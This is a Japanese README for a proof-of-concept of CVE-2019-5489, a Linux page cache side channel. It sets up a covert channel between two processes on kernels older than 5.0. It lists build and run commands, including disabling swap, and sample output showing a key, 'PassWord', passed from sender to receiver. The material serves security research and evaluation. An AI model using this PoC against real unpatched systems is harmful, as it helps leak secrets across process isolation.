このリポジトリには、Linux向けのPage Cache Side Channel Attacks(CVE-2019-5489)の概念実証(PoC)が含まれています。
ページキャッシュサイドチャネルを評価するために、2つのプロセス間で**covert channel(隠れチャネル)**を実装しました。 送信プロセスは、ページキャッシュサイドチャネルを介して機密データを受信プロセスに送信します。 Linuxカーネル5.0以降ではページキャッシュ攻撃が緩和されているため、このPoCはLinuxカーネル5.0より前でのみ動作します。
注記: Ubuntu 18.04、Linux 4.15.0-70 で動作確認済みです。
次のコマンドを実行してください。
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
攻撃を容易にするためにスワップ領域を無効にします。
swapoff -a
最初に、ターミナル 1 で次のコマンドを実行してください。
make run-sender
ターミナル 1 に sending 1th character ... が出力された後、次のコマンドを実行してください。
make run-receiver
実行が成功すると、次のように出力されます。
これは、キーが Sender プロセスから Reciver プロセスへページキャッシュサイドチャネルを介して送信されたことを示しています。
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord